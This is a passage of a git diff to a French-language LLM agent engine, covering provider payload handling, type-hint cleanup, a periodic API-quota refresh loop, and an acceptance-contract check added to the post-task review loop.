voyait sa contrainte + # silencieusement ignorée. + if kwargs.get("tool_choice") is not None: + payload["tool_choice"] = kwargs["tool_choice"] # Support du max_tokens si fourni if "max_tokens" in kwargs: @@ -269,7 +319,11 @@ async def generate_async(self, system_prompt: str, user_prompt: str, **kwargs) - tool_calls) et même enregistrement d'usage. """ messages = kwargs.get("messages") - if not messages: + if messages: + # Champs privés internes du moteur (ex: _thought_signature Gemini) : + # jamais transmis aux APIs OpenAI-compatibles (#T263). + messages = filtrer_champs_prives(messages) + else: messages = [ {"role": "system", "content": system_prompt}, {"role": "user", "content": user_prompt}, @@ -282,6 +336,8 @@ async def generate_async(self, system_prompt: str, user_prompt: str, **kwargs) - } if "tools" in kwargs: payload["tools"] = kwargs["tools"] + if kwargs.get("tool_choice") is not None: + payload["tool_choice"] = kwargs["tool_choice"] if "max_tokens" in kwargs: payload["max_tokens"] = kwargs["max_tokens"] @@ -373,7 +429,11 @@ def generate_stream(self, system_prompt: str, user_prompt: str, **kwargs): dict: {"token": str, "done": bool, "usage": dict|None} """ messages = kwargs.get("messages") - if not messages: + if messages: + # Champs privés internes du moteur (ex: _thought_signature Gemini) : + # jamais transmis aux APIs OpenAI-compatibles (#T263). + messages = filtrer_champs_prives(messages) + else: messages = [ {"role": "system", "content": system_prompt}, {"role": "user", "content": user_prompt}, @@ -503,12 +563,6 @@ def generate_stream(self, system_prompt: str, user_prompt: str, **kwargs): "default_model": "MiniMax-M3", "description": "MiniMax — MoE multimodal (texte/image/vidéo), contexte 1M tokens, optimisé agents", }, - "github": { - "base_url": "https://models.inference.ai.azure.com/chat/completions", - "env_key": "GITHUB_TOKEN", - "default_model": "gpt-4o-mini", - "description": "GitHub Models — Inférence gratuite pour développeurs via Azure AI", - }, "zhipu": { "base_url": "https://open.bigmodel.cn/api/paas/v4/chat/completions", "env_key": "ZHIPU_API_KEY", @@ -533,11 +587,11 @@ def generate_stream(self, system_prompt: str, user_prompt: str, **kwargs): "description": "Ollama Local PC — Inférence locale ultra-rapide sur RTX 5070 Ti", }, "ollama_pc": { - # Même IP LAN que LMStudioProvider (${OLLAMA_HOST:-192.168.1.x}, carte "Ethernet 4") — contrairement + # Même IP LAN que LMStudioProvider (${LM_STUDIO_HOST:-192.168.1.x}, carte "Ethernet 4") — contrairement # à ollama_local (127.0.0.1), joignable depuis le Deck en prod. Prérequis côté PC : # Ollama démarré avec OLLAMA_HOST=0.0.0.0 (ou au moins .84) + pare-feu Windows ouvert # sur 11434 pour le LAN, sinon connect timeout (repli cloud silencieux, pas d'erreur bruyante). - "base_url": "http://${OLLAMA_HOST:-192.168.1.x}:11434/v1/chat/completions", + "base_url": "http://${LM_STUDIO_HOST:-192.168.1.x}:11434/v1/chat/completions", "env_key": "OLLAMA_API_KEY", # Pas de clé requise pour l'instance locale "default_model": "domotique-qwen7b:q4", "description": "Ollama PC via LAN — joignable depuis le Deck (RTX 5070 Ti, fine-tune domotique)", diff --git a/core/otel.py b/core/otel.py index 15d6f8c..c1629fe 100644 --- a/core/otel.py +++ b/core/otel.py @@ -25,7 +25,6 @@ import logging import os from contextlib import contextmanager -from typing import Optional logger = logging.getLogger(__name__) @@ -98,7 +97,7 @@ def get_tracer(): @contextmanager def llm_span( model_name: str, - provider_system: Optional[str] = None, + provider_system: str | None = None, fallback_index: int = 0, cache_hit: bool = False, cb_state: str = "CLOSED", @@ -117,7 +116,6 @@ def llm_span( yield _NoOpSpan() return - from opentelemetry import trace as _trace from opentelemetry.trace import StatusCode with tracer.start_as_current_span("llm.call") as span: diff --git a/core/plugin_registry.py b/core/plugin_registry.py index ee71fb2..66c2623 100644 --- a/core/plugin_registry.py +++ b/core/plugin_registry.py @@ -17,12 +17,12 @@ Créé dans le cadre de l'audit V5.5 (Axe A2 — PluginRegistry). """ -import os -import json import importlib import importlib.util +import json import logging -from typing import Dict, Any, List, Optional +import os +from typing import Any logger = logging.getLogger(__name__) @@ -42,7 +42,7 @@ def __init__( version: str = "0.1.0", description: str = "", author: str = "", - agent_class: Optional[type] = None, + agent_class: type | None = None, enabled: bool = True, path: str = "", ): @@ -54,7 +54,7 @@ def __init__( self.enabled = enabled self.path = path - def to_dict(self) -> Dict[str, Any]: + def to_dict(self) -> dict[str, Any]: return { "name": self.name, "version": self.version, @@ -84,10 +84,10 @@ def __init__(self, plugins_dir: str = None): plugins_dir: Chemin du dossier de plugins. Par défaut : moteur_agents/plugins/ """ self._plugins_dir = plugins_dir or _PLUGINS_DIR - self._plugins: Dict[str, PluginInfo] = {} + self._plugins: dict[str, PluginInfo] = {} self._loaded = False - def discover(self) -> List[PluginInfo]: + def discover(self) -> list[PluginInfo]: """ Scanne le dossier plugins/ et charge les métadonnées de chaque plugin. @@ -117,7 +117,7 @@ def discover(self) -> List[PluginInfo]: meta = {} if os.path.exists(meta_file): try: - with open(meta_file, "r", encoding="utf-8") as f: + with open(meta_file, encoding="utf-8") as f: meta = json.load(f) except Exception as e: logger.warning(f"[PLUGIN REGISTRY] Erreur lecture {meta_file} : {e}") @@ -163,7 +163,7 @@ def discover(self) -> List[PluginInfo]: return discovered - def _load_agent_class(self, plugin_name: str, agent_file: str) -> Optional[type]: + def _load_agent_class(self, plugin_name: str, agent_file: str) -> type | None: """ Charge dynamiquement la classe d'agent depuis un fichier agent.py. @@ -206,7 +206,7 @@ def _load_agent_class(self, plugin_name: str, agent_file: str) -> Optional[type] ) return None - def create_agent(self, plugin_name: str, **kwargs) -> Optional[Any]: + def create_agent(self, plugin_name: str, **kwargs) -> Any | None: """ Instancie un agent à partir d'un plugin chargé. @@ -249,11 +249,11 @@ def create_agent(self, plugin_name: str, **kwargs) -> Optional[Any]: ) return None - def get_all_plugins(self) -> List[Dict[str, Any]]: + def get_all_plugins(self) -> list[dict[str, Any]]: """Retourne les métadonnées de tous les plugins découverts.""" return [p.to_dict() for p in self._plugins.values()] - def get_enabled_plugins(self) -> List[PluginInfo]: + def get_enabled_plugins(self) -> list[PluginInfo]: """Retourne uniquement les plugins activés ayant un agent.""" return [ p for p in self._plugins.values() diff --git a/core/provider_scorer.py b/core/provider_scorer.py index cb8a171..e9bc452 100644 --- a/core/provider_scorer.py +++ b/core/provider_scorer.py @@ -8,7 +8,6 @@ classe ; toute la logique de scoring vit ici. """ import logging -from typing import Dict, Optional logger = logging.getLogger(__name__) @@ -41,7 +40,7 @@ def __init__(self, model_names: list): # Évite N ouvertures/fermetures SQLite dans la closure du tri + ne bloque pas # l'event loop car appelé depuis un thread via _DB_EXECUTOR si run_in_executor # est utilisé en amont. - self._bulk_scores: Dict[str, float] = {} + self._bulk_scores: dict[str, float] = {} try: from core.models_db import get_bulk_routing_scores self._bulk_scores = get_bulk_routing_scores(model_names) @@ -75,8 +74,8 @@ def score(self, model_name: str) -> float: Pénalise graduellement les modèles approchant de la saturation (>70%). Pénalise DeepSeek si le solde prépayé est critique (<1$). """ - from core.token_tracker import classify_model_channel from core.llm_gateway import get_live_latency_penalty + from core.token_tracker import classify_model_channel m_lower = model_name.lower() channel = classify_model_channel(model_name) @@ -132,7 +131,7 @@ def score(self, model_name: str) -> float: ) return total_score - def sort_providers(self, providers_list: list, elo_order: Optional[list] = None) -> list: + def sort_providers(self, providers_list: list, elo_order: list | None = None) -> list: """ Trie une liste [(model_name, provider), ...] par Elo (si fourni, priorité principale) puis par score coût/quota/latence (départage) ; sinon par diff --git a/core/quota_collector.py b/core/quota_collector.py index 98992d5..78d90e2 100644 --- a/core/quota_collector.py +++ b/core/quota_collector.py @@ -10,7 +10,9 @@ 3. Claude CLI /usage (optionnel, ~2s, toutes les 5min) Fréquence : - - Automatique toutes les 60s par gui_server (background thread) + - Périodique : quota_refresh_loop() lancée par gui_server au démarrage, + intervalle configurable via QUOTA_REFRESH_INTERVAL_SECONDS (défaut 300 s), + include_claude=False par défaut (scraping Claude jamais automatique) - Manuel via POST /api/quotas/refresh ou bouton HMI - Claude /usage : toutes les 5min + bouton manuel @@ -18,12 +20,14 @@ Date : 2026-05-26 """ +import asyncio +import logging import os import time -import logging -import requests from datetime import datetime -from typing import Dict, Any, Optional +from typing import Any + +import requests logger = logging.getLogger("core.quota_collector") @@ -31,12 +35,36 @@ _last_claude_refresh: float = 0.0 _CLAUDE_REFRESH_INTERVAL = 300 # 5 minutes +# ── Intervalle du rafraîchissement périodique (#T269) ── +QUOTA_REFRESH_INTERVAL_ENV = "QUOTA_REFRESH_INTERVAL_SECONDS" +QUOTA_REFRESH_INTERVAL_DEFAULT = 300 # 5 min : compromis fraîcheur / coût API DeepSeek +QUOTA_REFRESH_INTERVAL_MIN = 60 # Borne basse : ne jamais marteler les APIs + + +def get_quota_refresh_interval() -> int: + """Intervalle (secondes) du refresh périodique, lu depuis l'environnement. + + Variable : QUOTA_REFRESH_INTERVAL_SECONDS (défaut 300 s = 5 min). + Une valeur invalide retombe sur le défaut ; une valeur trop basse est + bornée à QUOTA_REFRESH_INTERVAL_MIN. + """ + raw = os.environ.get(QUOTA_REFRESH_INTERVAL_ENV, str(QUOTA_REFRESH_INTERVAL_DEFAULT)) + try: + interval = int(raw) + except ValueError: + logger.warning( + f"[QUOTAS] {QUOTA_REFRESH_INTERVAL_ENV} invalide ({raw!r}), " + f"défaut {QUOTA_REFRESH_INTERVAL_DEFAULT}s." + ) + interval = QUOTA_REFRESH_INTERVAL_DEFAULT + return max(interval, QUOTA_REFRESH_INTERVAL_MIN) + # ══════════════════════════════════════════════════════════════════ # 1. Quotas glissants depuis session_history.db # ══════════════════════════════════════════════════════════════════ -def _collect_sliding_quotas() -> Dict[str, Dict[str, int]]: +def _collect_sliding_quotas() -> dict[str, dict[str, int]]: """Calcule les quotas glissants depuis la table token_usage de session_history.db. Retourne un dict par canal (ex: 'gemini-free-flash') avec les compteurs @@ -63,7 +91,7 @@ def _collect_sliding_quotas() -> Dict[str, Dict[str, int]]: # 2. Balance DeepSeek (API réelle) # ══════════════════════════════════════════════════════════════════ -def _collect_deepseek_balance() -> Optional[float]: +def _collect_deepseek_balance() -> float | None: """Interroge l'API DeepSeek /user/balance pour le solde prépayé. Returns: @@ -73,7 +101,7 @@ def _collect_deepseek_balance() -> Optional[float]: if not api_key: logger.debug("[QUOTAS] Pas de clé DeepSeek, skip balance.") return None - + try: headers = { "Accept": "application/json", @@ -86,11 +114,11 @@ def _collect_deepseek_balance() -> Optional[float]: ) resp.raise_for_status() data = resp.json() - + if not data.get("is_available"): logger.warning("[QUOTAS] DeepSeek balance : compte indisponible") return 0.0 - + # Calculer le solde total en USD total_usd = 0.0 for bi in data.get("balance_infos", []): @@ -102,10 +130,10 @@ def _collect_deepseek_balance() -> Optional[float]: total_usd += total else: total_usd += total # Fallback - + logger.info(f"[QUOTAS] DeepSeek balance : ${total_usd:.2f} USD") return round(total_usd, 4) - + except Exception as e: logger.warning(f"[QUOTAS] Erreur DeepSeek balance : {e}") return None @@ -115,7 +143,7 @@ def _collect_deepseek_balance() -> Optional[float]: # 3. Claude CLI /usage (optionnel, lent ~2s) # ══════════════════════════════════════════════════════════════════ -def _collect_claude_usage(force: bool = False) -> Optional[float]: +def _collect_claude_usage(force: bool = False) -> float | None: """Parse la sortie de 'claude /usage' pour le pourcentage d'utilisation. Args: @@ -125,22 +153,22 @@ def _collect_claude_usage(force: bool = False) -> Optional[float]: Pourcentage d'utilisation (0-100), ou None si erreur/skip. """ global _last_claude_refresh - + # Vérifier l'intervalle (5 minutes sauf si force) now = time.time() if not force and (now - _last_claude_refresh) < _CLAUDE_REFRESH_INTERVAL: logger.debug("[QUOTAS] Claude /usage : skip (intervalle 5min non atteint)") return None - - import subprocess + import shutil - + import subprocess + # Vérifier que claude.cmd est accessible claude_path = shutil.which("claude") or shutil.which("claude.cmd") if not claude_path: logger.debug("[QUOTAS] Claude CLI non trouvé, skip usage.") return None - + try: result = subprocess.run( [claude_path, "/usage"], @@ -148,7 +176,7 @@ def _collect_claude_usage(force: bool = False) -> Optional[float]: encoding="utf-8", errors="replace", ) output = result.stdout + result.stderr - + # Parser le pourcentage dans la sortie # Format typique : "Plan usage: 42% (15,000 / 35,000 tokens)" import re @@ -157,7 +185,7 @@ def _collect_claude_usage(force: bool = False) -> Optional[float]: pct = float(match.group(1)) _last_claude_refresh = now logger.info(f"[QUOTAS] Claude usage : {pct}%") - + # Stocker le texte complet dans real_billing try: from core.token_tracker import update_real_billing @@ -167,13 +195,13 @@ def _collect_claude_usage(force: bool = False) -> Optional[float]: ) except Exception: pass - + return pct else: logger.debug(f"[QUOTAS] Claude /usage : pas de % trouvé dans : {output[:200]}") _last_claude_refresh = now # Éviter de réessayer trop vite return None - + except subprocess.TimeoutExpired: logger.warning("[QUOTAS] Claude /usage : timeout (10s)") return None @@ -186,7 +214,31 @@ def _collect_claude_usage(force: bool = False) -> Optional[float]: # Orchestrateur principal # ══════════════════════════════════════════════════════════════════ -def refresh_all_quotas(include_claude: bool = False, force_claude: bool = False) -> Dict[str, Any]: +def _get_gemini_free_key_ids() -> list[str]: + """Ids des clés Gemini Free depuis api_keys (SSOT seed) — jamais en dur ici. + + La liste est dérivée de core.models_db.get_all_api_keys() (provider_id + 'gemini_free', key_type 'free') : une clé ajoutée au KeyPool et seedée + (ex. GEMINI_API_KEY_6) est couverte automatiquement (#T269). + Fallback d'urgence = miroir de core/key_pool.py si la BDD est indisponible. + """ + try: + from core.models_db import get_all_api_keys + keys = get_all_api_keys(hide_values=True) + free = [ + k["id"] for k in keys + if k.get("provider_id") == "gemini_free" and k.get("key_type") == "free" + ] + if free: + return free + except Exception as e: + logger.warning(f"[QUOTAS] api_keys indisponible, fallback liste statique : {e}") + return [ + "GEMINI_API_KEY", "GEMINI_API_KEY_2", "GEMINI_API_KEY_3", + "GEMINI_API_KEY_4", "GEMINI_API_KEY_5", "GEMINI_API_KEY_6", + ] + +def refresh_all_quotas(include_claude: bool = False, force_claude: bool = False) -> dict[str, Any]: """Rafraîchit tous les quotas et met à jour quota_realtime dans la BDD. Args: @@ -198,14 +250,14 @@ def refresh_all_quotas(include_claude: bool = False, force_claude: bool = False) Résumé du refresh avec le statut de chaque source. """ from core.models_db import update_quota_realtime - + result = { "timestamp": datetime.now().isoformat(), "sources": {}, "updated_keys": 0, "errors": [], } - + # ── 1. Quotas glissants ── try: sliding = _collect_sliding_quotas() @@ -214,7 +266,7 @@ def refresh_all_quotas(include_claude: bool = False, force_claude: bool = False) sliding = {} result["sources"]["sliding_quotas"] = f"error: {e}" result["errors"].append(f"sliding_quotas: {e}") - + # ── 2. DeepSeek balance ── ds_balance = None try: @@ -223,7 +275,7 @@ def refresh_all_quotas(include_claude: bool = False, force_claude: bool = False) except Exception as e: result["sources"]["deepseek_balance"] = f"error: {e}" result["errors"].append(f"deepseek: {e}") - + # ── 3. Claude /usage (optionnel) ── claude_pct = None if include_claude or force_claude: @@ -235,82 +287,135 @@ def refresh_all_quotas(include_claude: bool = False, force_claude: bool = False) result["errors"].append(f"claude: {e}") else: result["sources"]["claude_usage"] = "disabled" - + # ── 4. Mettre à jour les quotas dans la BDD ── updated = 0 - - # Clés Gemini Free (5 clés) - free_keys = ["GEMINI_API_KEY", "GEMINI_API_KEY_2", "GEMINI_API_KEY_3", "GEMINI_API_KEY_4", "GEMINI_API_KEY_5"] - for key_id in free_keys: - # Les quotas glissants sont agrégés par canal, pas par clé individuelle - # On distribue proportionnellement (approximation : diviser par le nombre de clés) + try: + # Clés Gemini Free — dérivées de api_keys (SSOT seed) pour ne jamais + # oublier une clé ajoutée au KeyPool (ex. GEMINI_API_KEY_6, #T269) + free_keys = _get_gemini_free_key_ids() + + # Les quotas glissants sont agrégés par canal, pas par clé individuelle ; + # on distribue proportionnellement (approximation : division par N clés) flash_rpm = sliding.get("gemini_free_flash_rpm", 0) // max(len(free_keys), 1) flash_tpm = sliding.get("gemini_free_flash_tpm", 0) // max(len(free_keys), 1) flash_rpd = sliding.get("gemini_free_flash_rpd", 0) // max(len(free_keys), 1) - + for key_id in free_keys: + ok = update_quota_realtime( + key_id, + limit_rpm=15, limit_rpd=500, limit_tpm=250000, + used_rpm=flash_rpm, + used_tpm=flash_tpm, + used_rpd=flash_rpd, + source="calculated", + ) + if ok: updated += 1 + + # ── Fenêtres glissantes des abonnements (1 h / 30 j) ── + # Calculées par session_history.get_quotas_from_db() mais jamais + # propagées vers quota_realtime : used_tph/used_monthly restaient à 0. + # Les limites viennent de la table subscriptions (aucune valeur en dur). + try: + from core.models_db import get_subscriptions + subs = {s["id"]: s for s in get_subscriptions()} + except Exception as e: + logger.warning(f"[QUOTAS] subscriptions indisponibles : {e}") + subs = {} + + claude_pro = subs.get("claude_pro") or {} + gemini_adv = subs.get("gemini_advanced") or {} + + # Claude Pro (CLI abonné) → ligne Anthropic du registre + if claude_pro: + ok = update_quota_realtime( + "ANTHROPIC_API_KEY", + limit_tph=claude_pro.get("hourly_token_limit"), + limit_monthly=claude_pro.get("monthly_token_limit"), + used_tph=sliding.get("claude_cli_abo_tph") or sliding.get("claude_cli_tph") or 0, + used_monthly=sliding.get("claude_cli_abo_tpm") or sliding.get("claude_cli_tpm") or 0, + source="calculated", + ) + if ok: + updated += 1 + + # Clé Gemini Paid — agrégation API Gemini (approximation existante : + # valeurs brutes du canal, non divisées par le nombre de clés) + gemini_paid_kwargs = { + "limit_rpm": 500, "limit_rpd": 10000, "limit_tpm": 4000000, + "used_rpm": sliding.get("gemini_free_flash_rpm", 0), # Approximation + "used_tpm": sliding.get("gemini_free_flash_tpm", 0), + "used_rpd": sliding.get("gemini_free_flash_rpd", 0), + "source": "calculated", + } + # Gemini Advanced (CLI abonné) → fenêtres 1 h / 30 j sur la ligne Gemini + if gemini_adv: + gemini_paid_kwargs.update({ + "limit_tph": gemini_adv.get("hourly_token_limit"), + "limit_monthly": gemini_adv.get("monthly_token_limit"), + "used_tph": sliding.get("gemini_cli_abo_tph") or sliding.get("gemini_cli_tph") or 0, + "used_monthly": sliding.get("gemini_cli_abo_tpm") or sliding.get("gemini_cli_tpm") or 0, + }) + ok = update_quota_realtime("GEMINI_PAYANT_API_KEY", **gemini_paid_kwargs) + if ok: updated += 1 + + # DeepSeek + ds_kwargs = { + "limit_rpm": 60, "limit_tpm": 1000000, + "source": "api_sync" if ds_balance is not None else "calculated", + } + if ds_balance is not None: + ds_kwargs["external_balance_usd"] = ds_balance + ds_kwargs["external_status"] = "ok" if ds_balance > 1.0 else ("warning" if ds_balance > 0 else "exhausted") + # Mettre à jour le real_billing aussi + try: + from core.token_tracker import update_real_billing + update_real_billing(deepseek_balance_usd=ds_balance) + except Exception: + pass + ok = update_quota_realtime("DEEPSEEK_API_KEY", **ds_kwargs) + if ok: updated += 1 + + # Cloud APIs (pas de limites glissantes) + ok = update_quota_realtime("CLOUD_API_KEY", external_status="ok", source="static") + if ok: updated += 1 + + # xAI API (Grok) ok = update_quota_realtime( - key_id, - limit_rpm=15, limit_rpd=500, limit_tpm=250000, - used_rpm=flash_rpm, - used_tpm=flash_tpm, - used_rpd=flash_rpd, - source="calculated", + "XAI_API_KEY", + limit_rpm=60, limit_tpm=1000000, + external_status="ok", + source="static" ) if ok: updated += 1 - - # Clé Gemini Paid - ok = update_quota_realtime( - "GEMINI_PAYANT_API_KEY", - limit_rpm=500, limit_rpd=10000, limit_tpm=4000000, - used_rpm=sliding.get("gemini_free_flash_rpm", 0), # Approximation - used_tpm=sliding.get("gemini_free_flash_tpm", 0), - used_rpd=sliding.get("gemini_free_flash_rpd", 0), - source="calculated", - ) - if ok: updated += 1 - - # DeepSeek - ds_kwargs = { - "limit_rpm": 60, "limit_tpm": 1000000, - "source": "api_sync" if ds_balance is not None else "calculated", - } - if ds_balance is not None: - ds_kwargs["external_balance_usd"] = ds_balance - ds_kwargs["external_status"] = "ok" if ds_balance > 1.0 else ("warning" if ds_balance > 0 else "exhausted") - # Mettre à jour le real_billing aussi - try: - from core.token_tracker import update_real_billing - update_real_billing(deepseek_balance_usd=ds_balance) - except Exception: - pass - ok = update_quota_realtime("DEEPSEEK_API_KEY", **ds_kwargs) - if ok: updated += 1 - - # Cloud APIs (pas de limites glissantes) - ok = update_quota_realtime("CLOUD_API_KEY", external_status="ok", source="static") - if ok: updated += 1 - - # xAI API (Grok) - ok = update_quota_realtime( - "XAI_API_KEY", - limit_rpm=60, limit_tpm=1000000, - external_status="ok", - source="static" - ) - if ok: updated += 1 - + + except Exception as e: + # Une erreur d'écriture ne doit jamais faire tomber le refresh complet + logger.warning(f"[QUOTAS] Erreur écriture BDD (mise à jour partielle) : {e}") + result["errors"].append(f"bdd: {e}") + result["updated_keys"] = updated - + + # ── 5. Instantané d'historique (quota_snapshots) ── + # Écrit à CHAQUE rafraîchissement : alimente les tendances du dashboard + # de métriques (la table restait vide, aucun historique, #T269). + try: + from core.session_history import insert_quota_snapshot + result["snapshot_rows"] = insert_quota_snapshot(sliding) + except Exception as e: + result["snapshot_rows"] = 0 + result["errors"].append(f"quota_snapshots: {e}") + logger.warning(f"[QUOTAS] Erreur instantané quota_snapshots : {e}") + # Résumé pour le log logger.info( f"[QUOTAS] Refresh terminé : {updated} clés mises à jour, " f"sources={result['sources']}" ) - + return result -def get_refresh_summary() -> Dict[str, Any]: +def get_refresh_summary() -> dict[str, Any]: """Retourne un résumé des quotas pour le dashboard (lecture seule, pas de refresh).""" try: from core.models_db import get_quota_summary @@ -318,3 +423,31 @@ def get_refresh_summary() -> Dict[str, Any]: except Exception as e: logger.error(f"[QUOTAS] Erreur get_refresh_summary: {e}") return {"global_status": "error", "error": str(e)} + + +async def quota_refresh_loop(interval_seconds: int | None = None) -> None: + """Boucle de fond : rafraîchit quota_realtime à intervalle configurable. + + Lancée au démarrage par gui_server (même motif que sse_quota_pusher_loop / + swarm_heartbeat_loop — pas de nouvel ordonnanceur). + include_claude=False par défaut : la collecte Claude passe par un scraping + (~2 s) qui ne doit pas partir toute seule en boucle. + Une erreur de collecte est journalisée et la boucle continue : un provider + injoignable est normal et ne doit jamais tuer le serveur. + + Args: + interval_seconds: intervalle forcé (tests, horloge simulée) ; + None = lire QUOTA_REFRESH_INTERVAL_SECONDS (défaut 300 s). + """ + interval = get_quota_refresh_interval() if interval_seconds is None else interval_seconds + logger.info(f"[QUOTAS] Boucle de rafraîchissement démarrée (intervalle={interval}s, include_claude=False).") + while True: + await asyncio.sleep(interval) + try: + result = refresh_all_quotas(include_claude=False) + logger.info( + f"[QUOTAS] Refresh périodique : {result.get('updated_keys', 0)} clés, " + f"{result.get('snapshot_rows', 0)} lignes d'instantané." + ) + except Exception as e: + logger.warning(f"[QUOTAS] Erreur refresh périodique (la boucle continue) : {e}") diff --git a/core/review_loop.py b/core/review_loop.py index 568a0ab..a628e7a 100644 --- a/core/review_loop.py +++ b/core/review_loop.py @@ -13,9 +13,11 @@ import asyncio import logging +import os from typing import TYPE_CHECKING -from core.state import TaskPayload, ExecutionPhase +from core.acceptance_contract import verifier_contrat +from core.state import ExecutionPhase, StateUpdate, TaskPayload if TYPE_CHECKING: from core.engine import Engine @@ -76,15 +78,47 @@ async def run_review( # Court-circuit : si aucun fichier de code ou de configuration n'a été modifié, pas besoin de revue if not self._has_modified_files(): - logger.info("[REVIEW] Aucun fichier de code ou de configuration n'a été créé ou modifié dans le workspace. Revue de code sautée avec succès.") + # [#T253] …sauf si un contrat d'acceptation existe. Ce court-circuit + # a été écrit pour la revue de CODE : sans fichier modifié, il n'y a + # rien à relire. Mais un contrat, lui, vérifie l'OBJECTIF — qui peut + # parfaitement être atteint sans toucher un fichier (lire, calculer, + # répondre, interroger Home Assistant). Mesuré en prod le 10/08 : + # ce raccourci auto-approuvait le plan et le contrat n'était jamais + # évalué — c'était le dernier des trois verrous de #T253. + criteres = self._criteres_du_plan() + verdict = None + if criteres: + rapport = await asyncio.to_thread(verifier_contrat, criteres) + if rapport.determinable: + verdict = rapport.satisfait + logger.info( + f"[REVIEW] [T253] Aucun fichier modifié, mais contrat évaluable : " + f"{'✅ satisfait' if verdict else '❌ en échec'} " + f"({len(rapport.verifiables)} critère(s) vérifiés)." + ) + if on_event: + await on_event("contract_checked", { + "round": 0, + "satisfied": verdict, + "failures": len(rapport.echecs), + "summary": rapport.resume(), + "contexte": "sans_modification_de_fichier", + }) + + if verdict is None: + logger.info("[REVIEW] Aucun fichier de code ou de configuration n'a été créé ou modifié dans le workspace. Revue de code sautée avec succès.") if on_event: await on_event("review_completed", { "session_id": self._engine.state.session_id, - "approved": True, + "approved": True if verdict is None else verdict, "visual_qa": None, - "verdict": "Auto-approuvé : Aucune modification de fichier détectée." + "verdict": ( + "Auto-approuvé : Aucune modification de fichier détectée." + if verdict is None else + f"Contrat d'acceptation {'satisfait' if verdict else 'NON satisfait'} (aucun fichier modifié)." + ), }) - return True + return True if verdict is None else verdict logger.info("[REVIEW] Démarrage de la revue automatique post-DAG...") if on_event: @@ -95,6 +129,50 @@ async def run_review( approved = False for review_round in range(1, max_rounds + 1): + # [#T253] Porte déterministe AVANT l'avis du Reviewer : quand le + # Planner a posé un contrat vérifiable, ce sont les critères qui + # tranchent, pas un score de complaisance. Contrat satisfait → + # validation sans appel LLM ; contrat en échec → correction directe, + # l'avis d'un modèle ne peut pas contredire un test qui échoue. + # Rechargé à chaque round : un plan correctif peut avoir reposé + # un contrat plus récent dans l'historique. + criteres_contrat = self._criteres_du_plan() + if criteres_contrat: + verdict_contrat = await asyncio.to_thread(verifier_contrat, criteres_contrat) + if verdict_contrat.determinable: + if on_event: + await on_event("contract_checked", { + "round": review_round, + "satisfied": verdict_contrat.satisfait, + "failures": len(verdict_contrat.echecs), + "summary": verdict_contrat.resume(), + }) + if verdict_contrat.satisfait: + logger.info( + f"[REVIEW] [T253] ✅ Contrat d'acceptation satisfait au round {review_round} " + f"({len(verdict_contrat.verifiables)} critère(s)) — revue LLM inutile." + ) + approved = True + break + + logger.warning( + f"[REVIEW] [T253] ❌ Contrat d'acceptation en échec au round {review_round} : " + f"{len(verdict_contrat.echecs)} critère(s) non satisfait(s)." + ) + if review_round >= max_rounds: + logger.error("[REVIEW] [T253] Limite de rounds atteinte, contrat toujours en échec.") + break + if not await self._apply_corrections( + self._update_depuis_contrat(verdict_contrat), + initial_objective, review_round, on_event, + ): + break + continue + logger.info( + "[REVIEW] [T253] Contrat non déterminable (aucun critère vérifiable) — " + "repli sur la revue LLM." + ) + # 1. Agrégation du contexte des résultats du DAG review_context = await self._build_review_context() @@ -171,7 +249,7 @@ async def run_review( ) if not correction_ok: break - + logger.info( f"[REVIEW] Corrections round {review_round} appliquées. " f"Re-soumission au Reviewer..." @@ -188,6 +266,94 @@ async def run_review( return approved + async def contrat_seul(self, on_event=None) -> bool | None: + """ + [#T253] Évalue le contrat d'acceptation SANS revue LLM. + + Sert le cas que la boucle normale ne couvrait pas : le DAG s'est terminé + en erreur. `core/engine.py` sautait alors toute vérification — or c'est + exactement la situation où une preuve mécanique vaut mieux qu'un avis : + une branche peut échouer alors que l'objectif est atteint par une autre, + et seul le contrat peut trancher. Inversement, un contrat en échec + confirme l'erreur au lieu de la deviner. + + Ne demande RIEN au LLM : après un DAG en échec, payer une revue de + complaisance n'a pas de sens. + + Retourne `True` (objectif prouvé atteint), `False` (contrat en échec) ou + `None` quand il n'y a rien de vérifiable — dans ce dernier cas l'appelant + garde son comportement d'avant. + """ + if os.getenv("MOTEUR_CONTRAT_SUR_ECHEC", "1").strip().lower() in ("0", "false", "off", "no"): + return None + + criteres = self._criteres_du_plan() + if not criteres: + return None + + verdict = await asyncio.to_thread(verifier_contrat, criteres) + if not verdict.determinable: + logger.info( + "[REVIEW] [T253] DAG en échec et contrat non déterminable " + f"({len(verdict.non_verifiables)} critère(s) non vérifiable(s)) — verdict inchangé." + ) + return None + + if on_event: + await on_event("contract_checked", { + "round": 0, + "satisfied": verdict.satisfait, + "failures": len(verdict.echecs), + "summary": verdict.resume(), + "contexte": "dag_en_echec", + }) + + if verdict.satisfait: + logger.warning( + "[REVIEW] [T253] ✅ Le DAG a signalé une erreur, mais le contrat d'acceptation " + f"est SATISFAIT ({len(verdict.verifiables)} critère(s) vérifiés) : l'objectif est " + "prouvé atteint malgré l'échec d'une tâche." + ) + return True + + logger.error( + "[REVIEW] [T253] ❌ DAG en échec ET contrat non satisfait : " + f"{len(verdict.echecs)} critère(s) en échec.\n{verdict.resume()}" + ) + return False + + def _criteres_du_plan(self) -> list: + """ + [#T253] Récupère le contrat d'acceptation posé par le Planner. + + Il voyage dans les metadata de son StateUpdate ; on prend le plus récent, + car un plan correctif peut en avoir reposé un. + """ + from core.acceptance_contract import CLE_CONTRAT + for update in reversed(self._engine.state.history): + criteres = (update.metadata or {}).get(CLE_CONTRAT) + if criteres: + return criteres + return [] + + @staticmethod + def _update_depuis_contrat(verdict) -> StateUpdate: + """ + [#T253] Traduit un échec de contrat en rejet, dans la forme que + `_apply_corrections` sait déjà consommer (`error_message` + `corrections`). + """ + return StateUpdate( + agent_name="contrat_acceptation", + status="error", + result_data=verdict.resume(), + error_message=verdict.resume(), + metadata={ + "corrections": [r.critere.libelle() for r in verdict.echecs], + "severity": "bloquant", + "source": "contrat_acceptation", + }, + ) + def _escalation_tier(self, quality_score) -> str | None: """ [#T117] Détermine si la correction doit être escaladée vers un tier plus @@ -245,7 +411,7 @@ async def _build_review_context(self) -> str: if u.status == "success" and u.metadata.get("task_id"): snippet = str(u.result_data)[:500] if u.result_data else "" parts.append(f"[{u.metadata.get('task_id', '?')}] {snippet}") - + # Détection des tâches produisant une UI if u.metadata.get("produces_ui"): has_ui_tasks = True @@ -266,7 +432,7 @@ async def _build_review_context(self) -> str: try: from core.visual_qa import VisualQAService visual_qa = VisualQAService() - + visual_result = await visual_qa.capture_and_analyze( question=( "Analyse cette capture d'écran de l'interface. " @@ 